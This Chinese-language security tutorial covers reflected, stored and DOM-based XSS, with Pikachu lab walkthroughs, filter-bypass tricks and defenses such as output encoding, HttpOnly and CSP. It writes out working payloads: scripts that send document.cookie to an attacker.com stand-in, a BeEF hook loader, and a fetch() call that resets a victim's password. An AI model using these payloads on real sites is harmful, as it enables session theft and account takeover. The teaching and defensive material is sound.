XSS跨站脚本攻击深度解析:反射型、存储型与DOM型原理及防御实战

发布时间:2026/9/15 12:22:54
XSS跨站脚本攻击深度解析:反射型、存储型与DOM型原理及防御实战 XSS跨站脚本攻击做安全的同行肯定不陌生但真正能把反射型、存储型、DOM型这三者的原理讲透、利用玩明白的人其实并不多。我早些年挖洞的时候曾经在一个后台管理系统里发现一个存储型XSS当时只是抱着试试看的心态在用户名那里插了一段payload结果管理员一登录Cookie直接打到我的服务器上前后不到十秒钟。那一次之后我才彻底意识到XSS绝不只是弹个窗那么简单它背后暴露的是整个Web应用对输入输出信任模型的崩塌。这篇文章我打算从一个攻击者的视角把三类XSS的原理、利用手法、绕过技巧和防护思路完整拆解一遍中间会穿插一些我在实际测试和攻防演练中踩过的坑。不管你是刚入门的安全爱好者还是已经在做渗透测试的工程师这篇文章都能给你一些不一样的思路。1. 理解XSS攻击的核心浏览器信任机制的失效1.1 从网页被改了说起XSS的本质XSS全称Cross-Site Scripting跨站脚本攻击。很多人第一次接触这个概念的时候会疑惑为什么叫跨站明明攻击代码是写在目标网站自己页面里的啊。这个问题的答案要追溯到浏览器的一个基础信任模型。浏览器在渲染一个页面的时候会无条件信任这个页面返回的所有内容包括HTML标签、CSS样式、JavaScript代码。它的信任对象是整个响应而不是响应中的某个部分。当服务端返回的内容里混入了攻击者精心构造的数据而服务端又没有对这些数据做任何处理浏览器就会把攻击者的代码当作网站自身的合法代码来执行。这就像你请了一个保洁阿姨到家里打扫卫生你给了她一把钥匙信任告诉她可以打开所有房间的门。结果这个阿姨其实是小偷伪装的她不仅打扫了房间还把你保险柜里的钱拿走了。浏览器就是这个保洁阿姨它分不清哪些是网站原本的代码哪些是攻击者注入的恶意代码只要是从同一个域名返回的数据它全都信。所以XSS的本质是服务端对用户输入缺乏信任和过滤导致恶意代码在受害者的浏览器环境中执行。攻击者利用的是浏览器对来源的信任而不是对内容的信任。1.2 三种类型的核心差异执行位置决定攻击方式反射型、存储型、DOM型这三类XSS如果只看最终效果都是在受害者浏览器里执行了一段恶意JavaScript但它们的执行方式、利用难度和危害范围却有很大区别。我把它们的核心差异总结成一个表格类型恶意代码存储位置服务端是否参与攻击触发方式危害范围反射型不存储在URL中是服务端拼接响应诱导受害者点击恶意链接单次请求受害者个人存储型存储在服务端数据库是服务端拼接响应受害者访问包含恶意数据的页面持久化影响所有访问者DOM型不存储在URL中或本地存储否纯前端处理诱导受害者点击恶意链接单次请求受害者个人这个表格最值得关注的是第三行——DOM型XSS服务端不参与。这是很多初学者最大的认知盲区后面我会专门展开讲。从攻击者的角度来说存储型的利用价值最高因为它是一次注入持续生效而且影响范围是所有访问这个页面的用户不需要单独对每个受害者发起攻击。反射型的利用门槛最低一张钓鱼链接发过去就行但需要受害者主动点击。DOM型最容易被人忽略它的检测难度也最大因为直接看服务端代码很难发现问题问题隐藏在前端JavaScript里。2. 反射型XSS一次请求与响应之间的顺手牵羊2.1 反射型XSS的完整攻击链反射型XSS也叫非持久性XSS攻击者的恶意脚本通过URL参数传入服务端在生成响应页面时把这个参数原封不动地嵌入了HTML代码浏览器解析后就执行了恶意脚本。一条完整的反射型XSS攻击链路是这样的攻击者构造一个特殊的URL比如http://example.com/search?keywordscriptalert(1)/script攻击者通过钓鱼邮件、聊天消息等方式诱导受害者点击这个URL浏览器向服务端发起请求服务端接收keyword参数拼接进HTML响应浏览器解析响应发现script标签当作页面脚本执行恶意脚本执行可以是弹窗、窃取Cookie、钓鱼等任意操作这里的关键点在于第三步服务端把用户输入直接拼接到HTML里。很多服务端框架尤其是老旧的PHP、JSP都容易在搜索、报错、页面跳转等场景出现这种问题。2.2 皮卡丘靶场实战一个搜索框引发的血案皮卡丘靶场Pikachu是很多安全初学者上手的第一个CTF靶场它的反射型XSS关卡设计得非常典型。我拿它的搜索功能来演示一下完整的测试流程。打开靶场的反射型XSS页面你会看到一个搜索框输入任意内容页面上会显示您输入的值为xxx。这个回显位置就是一个天然的反射点。测试步骤如下第一步随便输入一个字符串比如test观察回显位置。页面上显示您输入的值为test说明输入被直接拼接到了页面文本中。第二步尝试输入HTML标签。输入h1test/h1看浏览器是否把这个标签解析成了标题格式。如果页面上出现了大号加粗的test说明HTML标签没有被过滤可以进一步尝试脚本注入。第三步输入scriptalert(1)/script提交后浏览器弹出1的提示框说明XSS漏洞完全成立。这里要注意一个细节第三步输入scriptalert(1)/script之后页面的HTML源码会变成这样p您输入的值为scriptalert(1)/script/p浏览器的解析器遇到script标签后会把它当作脚本块的开始后面的内容全部作为脚本代码执行直到遇到/script闭合标签。2.3 绕过实战当标签被过滤怎么办在皮卡丘靶场成功弹窗后很多人觉得自己已经会了但真实环境远比靶场复杂。实际开发中很少有服务端会完全不设防地接受所有标签常见的情况是过滤了script、alert等敏感关键词或者使用了HTML实体编码。这时候就需要一些绕过思路第一种情况只过滤了script标签却没过滤事件属性。可以尝试img srcx onerroralert(1)这个payload的逻辑是让图片加载失败触发onerror事件执行JavaScript。第二种情况过滤了关键词alert。可以尝试把alert拆开字符串拼接或者编码变形。比如img srcx onerroreval(atob(YWxlcnQoMSk))其中YWxlcnQoMSk是alert(1)的Base64编码。还可以用编码器img srcx onerroralert(1)换成带HTML实体编码的变体。第三种情况WAF对常见payload做了正则匹配但没做上下文感知。可以尝试在标签内部插入换行、Tab等空白字符来绕过正则比如scr\tiptalert(1)/script。这种方式比较碰运气但确实有效过很多次。注意绕过的核心思路是先尝试最简单的payload确认攻击面存在再根据过滤情况逐步调整。一上来就用复杂编码反而容易被WAF拦截或者因为语法错误导致注入失败。3. 存储型XSS一次注入持久危害3.1 存储型XSS的原理与危害存储型XSS也叫持久性XSS它的整个过程和反射型的最大区别在于恶意代码被服务端保存到了数据库里。后续任何用户访问这个页面时服务端会从数据库读出恶意代码再拼接到响应里导致每个访问者都会中招。存储型XSS常见于留言板、评论区、用户昵称、个人签名、文章标题这类用户内容会被持久化保存的功能模块。攻击者只要在一个高流量的站点发一条包含恶意payload的评论所有浏览这条评论的用户都会成为受害者。我把存储型XSS的攻击链拆解一下攻击者在目标网站的评论区提交一条包含恶意脚本的评论比如scriptdocument.locationhttp://attacker.com/cookie.php?cdocument.cookie/script服务端把这条评论存入数据库没有做过滤或转义其他用户打开这个页面浏览器加载评论列表服务端返回原始HTML所有访问者的Cookie被发送到攻击者的服务器这个攻击链里攻击者不需要针对单个用户发送钓鱼链接恶意代码会主动等待受害者上钩。如果这个评论位于管理后台可见的审计日志页面攻击者甚至可以拿到管理员的会话Cookie直接打穿整个后台。3.2 存储型XSS的进阶利用从弹窗到接管会话很多人测试存储型XSS的时候payload就停在alert(1)这一步这是远远不够的。存储型XSS利用分为几个层次第一层证明漏洞存在。用带随机数的alert(document.domain)证明脚本能在这个域下执行。第二层窃取Cookie。用new Image().srchttp://attacker.com/steal.php?c%2Bdocument.cookie把受害者的Cookie打到攻击者服务器。这里用new Image()是因为图片请求不需要考虑跨域问题而且不干扰当前页面功能。第三层模拟登录/钓鱼。在页面里动态生成一个假的登录框诱导受害者输入账号密码然后提交到攻击者的服务器。这种攻击对普通用户几乎无法察觉因为他们看到的登录框就在正常页面上。第四层配合CSRF实现敏感操作。如果目标站点的修改密码、绑定邮箱等操作没有CSRF Token保护XSS可以直接发起AJAX请求完成这些操作。比如构造一个请求去修改受害者绑定的手机号这比单纯偷Cookie更隐蔽。我在某个授权测试项目里靠一个存储型XSS配合CSRF直接把测试账号的邮箱地址改成了自己的Gmail邮箱然后走找回密码流程接管了账号。整个过程没有偷到管理员Cookie但实现的效果比偷Cookie更直接。3.3 利用beef框架进行浏览器控制存储型XSS的另一个经典利用方式是挂到BeEFBrowser Exploitation Framework上。BeEF可以被动地等待目标访问页面一旦页面上注入了BeEF的hook脚本BeEF就能直接控制受害者的浏览器执行各种模块。基本思路是在注入的payload里加上BeEF的hook地址script srchttp://192.168.1.100:3000/hook.js/script当受害者打开页面加载了这段脚本后BeEF控制台会显示目标已经上线攻击者可以使用几十个模块进行浏览器控制包括窃取Cookie、键盘记录、截取表单数据、内网探测等。这一招最厉害的地方在于hook脚本一旦加载就算受害者关闭当前页面再打开其他同源页面只要浏览器相同的源被注入过攻击者仍然可以保持控制取决于BeEF的实现和浏览器策略。不过在当前主流浏览器的安全策略下BeEF的一些高级模块受限较多需要结合实际情况选择利用方式。4. DOM型XSS藏在页面代码里的内鬼4.1 为什么说DOM型XSS服务端不参与很多人在学习DOM型XSS的时候最大的困惑是它和反射型XSS看起来都是通过URL传入恶意参数为什么说是纯前端的呢要回答这个问题需要理解DOM型XSS的执行链路。反射型XSS的完整链路是URL参数 - 服务端接收 - 拼接进HTML - 返回响应 - 浏览器解析执行。服务端在这个链路的中间环节起了帮凶的作用把恶意内容拼进去了。DOM型XSS的链路则是URL参数 - 浏览器加载页面 - 前端JavaScript读取参数 - 动态修改DOM - 恶意内容被插入并执行。看第二行的链路服务端在整个过程中只是把一份静态的HTML和JS文件返回给浏览器完全没有参与数据的拼装。恶意内容是被夹带在URL的hash或查询参数里当浏览器执行到某段JavaScript这段脚本会读取URL参数、根据参数生成HTML并写入页面。看起来最终的恶意脚本还是在浏览器里被执行了但问题代码根本不在服务端而是在前端的JavaScript逻辑里。就算把服务端的所有代码翻个底朝天也看不到任何script标签直接嵌入HTML响应的痕迹。4.2 一个典型的DOM型XSS实例假设有一个简单的留言页面前端代码如下var name decodeURIComponent(location.search.split(name)[1]); document.getElementById(welcome).innerHTML 欢迎你 name ;这段逻辑很简单从URL的查询参数里读取name的值然后通过innerHTML写入页面。如果攻击者构造这样一个URLhttp://example.com/index.html?nameimg srcx onerroralert(document.cookie)浏览器加载页面后执行到document.getElementById(welcome).innerHTML ...这一行会把name的值作为HTML解析并插入到welcome元素里。img标签触发onerror事件恶意代码执行。这个过程中服务端返回的HTML响应是完全干净的没有任何过滤的必要因为它根本不知道用户会传进来什么内容。问题全部出在前端的innerHTML这个高危操作上。4.3 DOM型XSS的挖掘与利用技巧DOM型XSS的挖掘思路和传统的服务端XSS完全不同因为服务端代码审查是检查不出来的。我平时挖DOM型XSS主要靠两条路第一条路静态代码审计。在前端JavaScript里搜索高危DOM操作函数这些函数都可能成为恶意内容的注入点主要常见的有这些document.write()document.writeln()element.innerHTML/element.outerHTMLelement.insertAdjacentHTML()location相关的修改操作第二条路动态调试。用Chrome开发者工具的Sources面板在可疑的JS文件里下断点然后在地址栏手动构造恶意参数观察执行流程。利用方面要特别注意DOM型XSS有一个天然的限制——如果恶意代码是通过URL参数传入的那么只能影响单个用户危害范围和反射型类似。但DOM型XSS有个特殊场景值得单独说一下location.hash的内容不会被发送到服务端所以用hash注入payload是不会有Web日志记录的隐蔽性更强。很多WAF只检查请求行对hash部分完全不设防。5. 三类XSS的检测方法与实站一环避坑必读5.1 一个清晰的三步判断法实际渗透测试中遇到一个疑似XSS的输入点很多人不知道从哪儿入手判断它属于哪种类型。我总结了一套三步判断法直接照着做就行。第一步看恶意代码会不会被服务端存储。提交一条包含payload的内容刷新页面看恶意代码是否仍然出现在页面上。如果刷新后还在说明是存储型。第二步看恶意代码是否在响应中直接出现。用Burp Suite抓包提交请求查看服务端返回的响应体里是否有未编码的payload。如果响应里直接包含script或HTML标签说明是反射型或存储型。第三步如果抓包发现响应体干净但浏览器里却执行了payload那就是DOM型。再用页面的Sources面板搜索一下读取URL参数的代码位置就能找到具体的漏洞点。这三步看似简单但能过滤掉90%的类型判断错误。特别是第二步和第三步的区别很多人抓包之后看到响应体里没有payload就直接判定没有XSS这恰恰会漏掉DOM型。5.2 常见的判断误区与踩坑记录这几年我一直没见过为了XSS而XSS的初学者只会在scriptalert(1)/script上打转但真正在实战里踩过的坑往往在多浏览器兼容这块。我举个例子在Chrome里svg/onloadalert(1)是能正常执行的但在某些浏览器版本里svg的载荷表现不一致。如果测试时只看了一个浏览器就下结论很容易漏报。所以在做XSS测试时同一套payload最好在Chrome、Firefox、Edge、Safari至少四个浏览器里各测一遍确认能稳定执行才算有效。另一个坑是关于字符集的问题。早期很多站点在响应头里不声明Content-Type的字符集浏览器会自己猜测编码方式。如果页面是GBK编码而我们提交的payload里包含%c0%bc这样的畸形编码有可能利用宽字节编码绕过过滤。这种情况在今天的站点上已经很罕见了但遇到老系统时需要留个心眼。还有一个很容易被忽略的地方就是富文本编辑器。很多后台的留言板、公告栏、文章正文都用了UEditor、CKEditor这种富文本编辑器开发人员会觉得富文本编辑器应该自己过滤了吧于是不再额外做服务端过滤。实际上编辑器只负责前端展示提交到服务端的数据还是要靠后端做过滤。我在测试某个新闻发布系统时就是从富文本编辑器的颜色属性里插入了javascript:alert(1)的伪协议payload绕过了编辑器自带的标签白名单。5.3 XSS与CSRF联动的经典利用思路最后分享一个我在实际项目里经常用到的高价值组合拳。单纯靠XSS偷Cookie有时会因为HttpOnly标记而失败但XSS真正的价值在于它可以完全控制受害者的浏览器执行任何操作。我的一个常用姿势是通过XSS注入JS代码让受害者的浏览器向/api/update_password发一个POST请求把密码改掉。如果这个接口没有CSRF Token那么一次XSS就完成了账号接管。fetch(/api/update_password, { method: POST, headers: {Content-Type: application/json}, body: JSON.stringify({new_password: Hacked2024}) })这段代码只需要几行但它表达了XSS的一个核心理念XSS本身只是入口真正的危害取决于后续组合利用。在红队演练中我们经常把XSS作为进入内网的第一跳板。6. 不确认的漏洞不如不写防御才是真正实战中的全部6.1 输出编码与输入过滤的正确姿势防御XSS正确的思路会被很多人忽视输入过滤不是主角输出编码才是正路。为什么这么说因为你的业务可能需要用户输入任意内容比如论坛的帖子、博客的评论如果一刀切把script全删了用户想贴一段技术代码都会被破坏。更好的做法是输入环节尽量宽松输出环节对上下文做编码。以Java为例如果要输出到HTML标签之间应该做HTML实体编码String safe StringEscapeUtils.escapeHtml4(userInput);如果要输出到JavaScript字符串里要做JavaScript转义。这两者的编码规则完全不同混淆使用仍然存在XSS风险。同时输入过滤也不能完全放弃我建议用白名单方式比如用户提交的字段只允许数字就只允许数字其他一律拒绝。这种做法对业务侵入最小同时能杜绝多种注入攻击。6.2 HttpOnly和CSP两道保命的防线HttpOnly和CSP这两项技术在XSS防御体系里占据重要位置但它们解决的问题不一样。第一道HttpOnly标记。当服务端设置Cookie时加上HttpOnly属性JavaScript就无法通过document.cookie读取到这个Cookie的值。这直接切断了XSS攻击最经典的盗Cookie路径。需要注意的是HttpOnly只能保Cookie不被偷但它挡不住XSS本身执行其他恶意操作比如修改页面内容、发送请求等。第二道CSPContent Security Policy内容安全策略。CSP能限制页面只能加载哪些来源的资源通过响应头或者meta标签声明。一个合理的CSP配置可以做到默认源白名单限制所有资源来源到自己的域名Content-Security-Policy: default-src self; script-src self这句话的含义是所有资源默认只允许来源本站脚本也只允许来源本站。这样一来即使攻击者注入了script srchttp://evil.com/payload.js浏览器也会因为源不在白名单里而拒绝加载。这就是纵深防御的实战意义。6.3 安全编码规范的几条底线最后把我这些年做安全评审时反复强调的几条底线列一下新项目在开发阶段就把这些约定写进规范文档里能省掉大量后期修复的麻烦禁止在前端使用innerHTML、document.write()直接插入用户可控内容改用textContent或innerText所有用户输入在服务端按输出上下文做编码库如ESAPI、OWASP Java EncoderCookie一律加上HttpOnly和Secure标记特别是有敏感数据的站点前端框架Vue、React尽量使用默认的插值语法不要用v-html、dangerouslySetInnerHTML渲染用户内容定期用自动化工具做扫描Wapiti、XSStrike、Burp Suite的Pro版插件都可以用来做XSS专项扫描这些规则不一定能100%防住所有XSS但把它们全部落实之后攻击者要想找到一个可利用的注入点难度会指数级上升。安全本身就是一场成本和时间的博弈你多设置一道关卡攻击者就多付出一次资源。我在做项目测试时一直有一个习惯——发现XSS漏洞以后不会只报一个alert(1)的结果就完事而是会把payload的完整攻击链路、影响范围、修复建议一起写进报告。因为对开发来说一个弹窗了的漏洞描述没有任何指导意义只有告诉他们这里是问题、那里需要改漏洞的处置效率才会高。这也算是我做安全工作多年的一个小总结漏洞的价值在于被理解而不只是被报告。对XSS这类老而弥坚的问题更是如此——理解了它的原理攻击和防御就都站到了同一水平线上。